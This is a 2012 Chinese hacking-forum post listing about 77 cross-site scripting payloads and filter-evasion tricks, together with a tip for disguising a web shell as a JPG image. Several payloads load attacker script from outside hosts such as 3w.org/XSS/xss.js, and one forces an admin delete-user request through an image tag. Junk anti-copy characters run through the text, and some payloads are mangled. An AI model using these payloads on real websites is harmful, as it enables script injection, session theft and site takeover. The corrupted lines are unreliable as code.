找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2377|回复: 0
打印 上一主题 下一主题

xss详细利用大全1

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:04:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
跨站图片shell" m7 e2 i7 n9 O( ~6 i# w
XSS跨站代码  <script>alert("")</script>1 B: k9 O& E7 W. ~

& V& X7 P! Q, g' |1 _. |& g将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
) j# [  K# _7 {% S/ t9 [
* y  A6 D" X8 ?+ h5 o3 V. ?' v! B
9 y* ^; Q8 l5 s6 o, V% \( P3 {8 a" {5 I4 |; E/ }. D
1)普通的XSS JavaScript注入
- Y' j! u9 w8 B3 I, \<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>: s1 L6 v) m& x) E, H
6 q9 ^: P7 j$ a! ]4 d
(2)IMG标签XSS使用JavaScript命令
' V+ K. z+ W. p' y" [9 n' \<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>+ K3 l& q2 o7 e, K8 i3 V: w
, g7 N- ?1 i! ?$ x
(3)IMG标签无分号无引号
# H. c& M; e8 a# e2 `% o<IMG SRC=javascript:alert(‘XSS’)>1 l% C: {7 S2 f$ n# G

9 e, v3 K8 a9 x+ y# z0 z/ d(4)IMG标签大小写不敏感  @- ~  L! L) P% F& b
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>) x3 P! m6 [) G# X
+ W) C( T0 f0 d4 l
(5)HTML编码(必须有分号)- H" \, K3 _' g- ~7 w# [6 Y' W* k
<IMG SRC=javascript:alert(“XSS”)>
' S) b6 ^& z1 F# c4 r( A+ H
* K; i# a& J; M3 y(6)修正缺陷IMG标签
- I, K$ \( n0 D3 P<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>; d( a0 S; I2 z: h+ p7 _+ g, M5 ?
* q1 ]+ G9 q: ~. c8 r
(7)formCharCode标签(计算器)( D% H8 m2 \. o+ h. G6 y4 P# }& l
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>4 j$ t- c5 q! Z# _& V. D( W" K& G

$ r+ ]# Y0 L2 V, x4 R(8)UTF-8的Unicode编码(计算器)
* s, w0 n6 T0 H<IMG SRC=jav..省略..S')>
# I* H! v$ r% P2 ^' Z- K$ A0 P8 K% w1 |" O/ C" k" J
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
- c! ^1 i' R% x1 p* @! B<IMG SRC=jav..省略..S')>
: e4 x4 v. c5 K. K6 k: G1 k
6 l7 B' R6 P) j8 ?" W& Y(10)十六进制编码也是没有分号(计算器)
" {5 T! n2 W1 m<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>$ J; W5 j& n* e6 y
- Q* F- r  J- H2 {" ~0 g
(11)嵌入式标签,将Javascript分开+ o% u8 F/ d9 `2 u1 S# j. J
<IMG SRC=”jav ascript:alert(‘XSS’);”>
! b; ?! B5 H5 Y7 X! T% l
" \0 Q1 x6 ?3 f) }# c(12)嵌入式编码标签,将Javascript分开
' A: z4 w+ B" y8 B<IMG SRC=”jav ascript:alert(‘XSS’);”>+ N- q$ q7 k; I, A3 \
  \3 K* q+ Y, P% p$ }! n2 H
(13)嵌入式换行符( y  s* N% u% [3 T3 v; ^
<IMG SRC=”jav ascript:alert(‘XSS’);”>
0 X6 h5 U; |3 g/ N1 Z# d1 `3 \
(14)嵌入式回车
& y( Y6 p( x9 Z) S7 U, `<IMG SRC=”jav ascript:alert(‘XSS’);”>
; H* b: `4 [) I7 j% D- c/ ~) E" `$ N, j  a
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
- j5 I9 r/ K8 A. s) C. Z! T1 T+ o<IMG SRC=”javascript:alert(‘XSS‘)”>
* e+ m3 I$ i4 I0 D/ e3 n6 X& h$ m: k
(16)解决限制字符(要求同页面)
) D, B1 v7 z4 ]/ y+ p2 J' ^6 O5 h<script>z=’document.’</script>$ X) p) f/ a* Q9 M8 i$ y4 V
<script>z=z+’write(“‘</script>9 z0 n. `$ D, S9 L, @" W6 ?
<script>z=z+’<script’</script>
' t" O- B* H  x0 A3 N) n" i3 Z( P, @<script>z=z+’ src=ht’</script>: ]: T2 }7 F/ v( y4 I. Y
<script>z=z+’tp://ww’</script>
/ M9 u" u) y# W<script>z=z+’w.shell’</script>, c  ]' i5 s! @/ c7 c
<script>z=z+’.net/1.’</script>% C  n5 b. H& z9 r) q- M6 T1 t
<script>z=z+’js></sc’</script>
. o/ I7 w" j# j<script>z=z+’ript>”)’</script>
: U4 k5 B2 n1 f0 y3 H* h$ }8 l& H<script>eval_r(z)</script>
+ z5 s1 R% I: h% O  p1 d8 ^+ p& {6 t, V0 v
(17)空字符
2 H! y) J* _0 F2 J( d" ]( Yperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
4 d, G0 J2 P, t6 n" @; C: o0 z; J% W  d2 F
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
3 P* b4 R9 P4 R. E4 U% j" fperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out. ]0 e+ L9 z- J  |0 i) D1 Q# j$ U
( P$ ^( a0 `; `( N% k4 @" v4 w8 ~
(19)Spaces和meta前的IMG标签
# o# |3 F: r" `<IMG SRC=” javascript:alert(‘XSS’);”>$ c. r) I) a+ z9 J' y

/ ~4 D* K2 e1 K7 w' C  ?(20)Non-alpha-non-digit XSS
" p" _- M0 ]5 m% P+ W3 j<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
' r6 g, g9 T& q2 q3 y8 k4 P/ E: x$ q! _! G8 ]0 X7 M2 j* p" y
(21)Non-alpha-non-digit XSS to 2. p- z% O* V3 A7 n
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>$ P) L" [, x# g, m8 I
3 e. x. f9 `) l( q4 ]6 e1 U
(22)Non-alpha-non-digit XSS to 3
: Q2 R4 I7 E' A8 h+ f<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
' u! K  X8 }& Q/ H" e* s# {5 ^* G4 B8 `& q2 v
(23)双开括号
* m8 c9 s8 y3 T0 n2 d- x<<SCRIPT>alert(“XSS”);//<</SCRIPT>
4 ~% I7 Z' E. K# o/ j, ^. L  I1 l  P& X& d5 W3 |7 g, p$ J3 L
(24)无结束脚本标记(仅火狐等浏览器)
! t, S$ F0 g% f7 L0 ~; \$ e: e<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>6 T  B/ G4 s; n* a

/ W0 T  u4 C8 j$ Y* s; E(25)无结束脚本标记2/ f/ }* u8 a0 W/ a9 [$ @( {
<SCRIPT SRC=//3w.org/XSS/xss.js>
; A+ ]. O' U/ y& Y* ^
3 }& u* p% N6 C# b; P% q(26)半开的HTML/JavaScript XSS
! [8 V! z$ q, @1 e<IMG SRC=”javascript:alert(‘XSS’)”7 ?8 e# h8 K; a

7 _; l7 h. h2 w: N2 \5 }. K1 P  a( S; _(27)双开角括号7 J$ t; l2 M' ?9 J3 f( U/ y
<iframe src=http://3w.org/XSS.html <+ ^: ?/ x8 ]4 @, t
9 B( {0 [' W- _0 x& I
(28)无单引号 双引号 分号# S+ O$ e! ~2 j
<SCRIPT>a=/XSS/; g! \; B1 P' G' Z6 ?9 e
alert(a.source)</SCRIPT>
$ l1 T( Q# k# V8 }
0 }- b5 L" N: e) O" h& c$ S: l(29)换码过滤的JavaScript- W6 J5 b  M  f2 i
\”;alert(‘XSS’);//
/ F. U: r7 c# }5 C8 K$ u4 _, C9 K
' j3 d: C1 m, m  t3 U  B2 U(30)结束Title标签, p+ r- t. R; Y# G6 T* ]
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
  A- `7 r/ k' i! C" \8 b, y: K$ }& W5 G
(31)Input Image4 ]# W! E$ E! k+ P+ H- W
<INPUT SRC=”javascript:alert(‘XSS’);”>
1 m. o  E8 d4 k. {0 R) d& O0 \% d) y* y% m
(32)BODY Image
; w$ [9 ?/ n7 o9 M<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
, }3 }7 d7 y+ L9 ~" `# f8 I: Z7 h1 O, z3 W; z7 i, q& Y/ r5 E
(33)BODY标签
% [" L- Q8 g9 m) N9 w. t' [" S, Y<BODY(‘XSS’)>3 _1 F4 }/ U, [1 }9 ^

0 D  C8 A( S) ]' _! j0 ?(34)IMG Dynsrc
( W: m) B4 v7 _/ m<IMG DYNSRC=”javascript:alert(‘XSS’)”>
  I' b5 n: V9 M# X( K( p
6 D1 X5 a( E5 l- Q) l+ {9 x/ O6 ~(35)IMG Lowsrc
; y' d3 R/ r) ^0 I( f<IMG LOWSRC=”javascript:alert(‘XSS’)”>  v" y9 L' d! w6 r' ?8 H: M

3 x" n; G$ i" f7 f) b(36)BGSOUND
9 x8 `7 p6 S1 ]* F* y! J' P' I( _# U<BGSOUND SRC=”javascript:alert(‘XSS’);”>
8 ~' \. U/ A2 A. W/ E6 B2 u: l5 u+ A7 I
(37)STYLE sheet% |' b" ]: S4 c/ }
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>; q# l  G) L: V. M+ G5 J
3 Y* F  l1 \8 ^/ x* U
(38)远程样式表9 l% V; @  O7 y
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
1 U' d5 u! C8 }
; b5 f: P; O6 m1 J- \4 N" W" h(39)List-style-image(列表式); v$ Z* m7 j! |8 m% Y5 _3 A. A
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS* h6 L: a" ^- x# x
) K) j( d3 O- J9 a
(40)IMG VBscript. g' ^! K( R  m, {- Q" F  U
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS- Q7 b: }4 z2 ]) _4 z% p
4 I1 e5 T2 z+ ~$ e
(41)META链接url7 T* \5 S$ e0 k" p4 {- ~
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>% P; y. s) t3 E- S4 O2 y4 @; Y

9 l" y" h4 s0 g$ U! o$ A: z: v(42)Iframe
1 E1 A. c6 _" O# A, T3 Y- G<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
( a4 I3 C: ~/ Z" L4 Z9 o3 C(43)Frame6 ~2 Q" j; \- Q4 c( R! U
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>0 j" K! T1 {, p" s2 b; u' K
0 `& l% i+ b# o+ g1 ]) U( c
(44)Table
+ n; g2 Y9 q: F3 Q: c1 [, f3 X<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
% f2 M3 w8 S% A! W* o
, T2 t) @3 @# m% q(45)TD: t2 X# `) I% K" t5 l+ G7 }
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”># v2 w% @0 o6 i7 n' B; I

/ P+ _/ F1 P' t1 `/ f4 o(46)DIV background-image! L* R  M; O8 r, n6 U1 O
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
' i# j# b. }9 A" T! x1 `0 C
& I! L! i  Q6 `8 `+ L* y( i# t(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
7 y  V  j/ d1 n<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
0 F* G* H2 A# a. o2 f" k, n2 L6 L: X' ^
(48)DIV expression4 W2 L$ T6 b: l! O. ]5 e
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
. S. [# [" q7 G) f. N1 T, M7 q0 b0 O- T& t- N( M
(49)STYLE属性分拆表达
% Q4 @' h. N* j/ X* C  F1 c<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>, }# {8 {; @+ f
- l$ y9 {& n  i( F( g( @
(50)匿名STYLE(组成:开角号和一个字母开头)
  f% w( ?1 K4 f3 \* X$ x<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
$ K7 a. v: D# K1 f3 n9 C3 V" V# ^/ a4 W' ?6 m4 U
(51)STYLE background-image
2 R4 i6 e1 J% Y& k( t<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>8 v, s1 R7 O1 j; l) W
7 E3 O( }$ v4 M4 n- U' F
(52)IMG STYLE方式! V* ?. e: y  Z8 k6 Q$ h8 n
exppression(alert(“XSS”))’>+ S9 T4 w: t$ [. H

. A+ b1 E, R- t; D1 J/ ^1 D; J) J(53)STYLE background# ~# f+ U$ h. z, k
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>5 u6 R0 m' p# [5 Z+ c. m6 j

! ?$ p- `7 m6 t3 r. Z# R! |' ?(54)BASE
& ~- r2 y9 e: f) g( y6 C<BASE HREF=”javascript:alert(‘XSS’);//”>
( @" t5 }2 t+ v- B! q3 C
# {, K& k$ f0 z) y9 y+ N: i(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
- r8 }# b& t1 p2 D<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>0 w2 R1 m2 q7 k8 T$ Z5 W: C3 m+ t

) E/ }5 O& j, g/ a1 j(56)在flash中使用ActionScrpt可以混进你XSS的代码
& v* J! l& a  xa=”get”;
/ ?8 g3 D4 Q5 a0 f( [3 L- Lb=”URL(\”";
3 H5 n& _/ f% Uc=”javascript:”;
$ z& ~* |% m0 K0 ^d=”alert(‘XSS’);\”)”;
4 y  w6 o0 U9 W8 f5 Weval_r(a+b+c+d);
4 I6 J) Z8 o0 t" m; b) i2 G/ _4 N3 @# E0 a
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
5 U* V0 Q" p) W! k: W. H+ {0 P<HTML xmlns:xss>
/ D9 l" J2 f0 V* e; [<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
; c( L& d% G0 e" g: o$ @2 V( g3 s. `) E<xss:xss>XSS</xss:xss>
7 X- I1 [# ]8 e" K$ `. t1 [</HTML>" B; `6 n& t+ j6 M' K; g8 h

1 b3 q' x7 }" g! T+ A* e1 U* Q& I(58)如果过滤了你的JS你可以在图片里添加JS代码来利用) ?9 N9 v+ s# b: x. r
<SCRIPT SRC=””></SCRIPT>( {% L5 s* S1 B1 z' w

( r( [6 w3 g$ m/ w; I. g(59)IMG嵌入式命令,可执行任意命令
, U. u' g$ c3 W' k) r! p<IMG SRC=”http://www.XXX.com/a.php?a=b”>: P7 H& s5 l7 S5 t. E( s
; O* M9 i4 L8 v% @) y# k
(60)IMG嵌入式命令(a.jpg在同服务器)
) _! ~* z1 e5 I" W  SRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
* @' u2 F, S0 A* V8 U7 Q$ `! J  V! v3 n/ B% U6 {' o
(61)绕符号过滤
" W4 Y3 j+ [  W% B3 Q* [/ \1 X( z4 s<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>0 z3 }3 i! G' N- I" Q% U
& n6 {$ `* `4 n6 C2 h7 e* m" Z3 r3 x
(62)5 h) N8 c7 s1 }. G
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>3 ~" ~7 N) o1 l

) v1 R" K) R. l* z(63)
# s" Y" w* R0 I+ y$ V( {6 z<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
6 v7 j$ o  s: X/ \, n5 f" K6 {2 M3 h5 D3 p  _- g5 x
(64)
& i/ w2 F9 ^0 Q' p<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
+ s# O; ~. R; |2 A
! U- F* V" E8 I5 g; E(65)  W; ]8 a( H. S
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
3 P0 N1 N8 P2 G! d- P# g/ t8 Q& A  |2 i; j
(66)
( b. i9 \3 v  \+ w<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>, J( ^4 R( o8 d, f4 b. T2 U

; H& d& E- d  }% i(67)4 U0 H# Z( r2 g0 B
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>. X- K1 ]+ r' U6 ~

/ k  Q& J7 u, P' C) o: j(68)URL绕行
. m6 F8 J7 c! z  l  P<A HREF=”http://127.0.0.1/”>XSS</A>
9 m  }( d# v7 I
; v; n' g8 {$ V* _8 y(69)URL编码! G/ N) ~# [7 O
<A HREF=”http://3w.org”>XSS</A>
$ ~( @* G# g/ q* T* i, q' B( C4 Y8 H. _" l
(70)IP十进制
7 U/ S* k- p: O) q0 Y  G( R: @<A HREF=”http://3232235521″>XSS</A>
( |4 U' u$ I6 U6 C  h" ?
$ m  m# C2 _' ^& f4 X) G; M(71)IP十六进制
1 O( Q, j8 V! @<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
$ K; y$ @3 l. u' ~
8 p# \# v+ E# U: D$ j(72)IP八进制" P& J  S1 ^4 [- H
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
, |* s' [# [6 E/ d, L9 y* G$ o2 R& G4 v* O( E' N9 |3 j- g6 Z
(73)混合编码* q! r8 @. x- b7 L( Z, N
<A HREF=”h
# {5 l, ?# f0 x5 s+ K3 M( utt p://6 6.000146.0×7.147/”">XSS</A>
' }4 b- R2 d6 o# k3 I
, G( V8 P( z# C3 U(74)节省[http:]* i) c! f2 V3 y+ r0 b6 L* G- A
<A HREF=”//www.google.com/”>XSS</A>* J9 @" p4 X& y& p$ C' C

8 G3 \  O: Q& T( ~# V; t(75)节省[www]
: A& Q6 y: Q/ b2 b<A HREF=”http://google.com/”>XSS</A>! s- [' c( |$ Z, ?' }
: o1 Q6 v, Q9 E& X
(76)绝对点绝对DNS# l1 T5 D  L  q# {) y
<A HREF=”http://www.google.com./”>XSS</A>
; H  w, R( C9 d* ?* P0 ~% {. F0 Y6 t
(77)javascript链接: O" I* P. b5 g0 q4 G
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
- V" T' L$ @0 U. N' \& f. d- o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表